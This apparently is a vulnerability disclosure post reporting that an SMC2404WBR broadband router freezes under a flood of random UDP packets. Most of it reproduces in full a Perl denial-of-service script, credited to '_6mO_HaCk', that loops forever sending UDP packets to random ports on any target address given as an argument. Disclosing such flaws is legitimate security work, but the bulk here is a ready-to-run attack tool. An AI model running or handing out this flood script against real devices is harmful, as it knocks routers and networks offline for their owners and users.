Subject: SMC Router Denial of Service exploit  
  
  
  
Howdy,  
  
Tested on an SMC2404WBR - BarricadeT Turbo 11/22 Mbps Wireless Cable/DSL  
Broadband Router.  
  
Sending a stream of UDP random packets to multiple ports 0-65000 on the  
router will cause the router to freeze until a soft reset is performed on  
it. In one case, the router did survive but did not come back "alive" for  
around 15 minutes. All other tries (2 others) the router had to be reset.  
This attack was performed using the Zonealarm+Windows 98 DoS code written by  
_6mO_HaCk.  
  
The code follows:  
-----------------snip---------------------  
  
#!/usr/bin/perl  
use Socket;  
  
system(clear);  
print "\n";  
print "--- ZoneAlarm Remote DoS Xploit\n";  
print "---\n";  
print "--- Discovered & Coded By _6mO_HaCk\n";  
print "\n";  
if(!defined($ARGV[0]))  
{  
&usage  
}  
  
my ($target);  
$target=$ARGV[0];  
  
my $ia = inet_aton($target) || die ("[-] Unable to resolve  
$target");  
  
socket(DoS, PF_INET, SOCK_DGRAM, 17);  
$iaddr = inet_aton("$target");  
  
print "[*] DoSing $target ... wait 1 minute and then CTRL+C to stop\n";  
  
for (;;) {  
$size=$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x  
$rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x $rand x  
$rand x $rand;  
$port=int(rand 65000) +1;  
send(DoS, 0, $size, sockaddr_in($port, $iaddr));  
}  
sub usage {die("\n\n[*] Usage : perl $0 <Target>\n\n");}
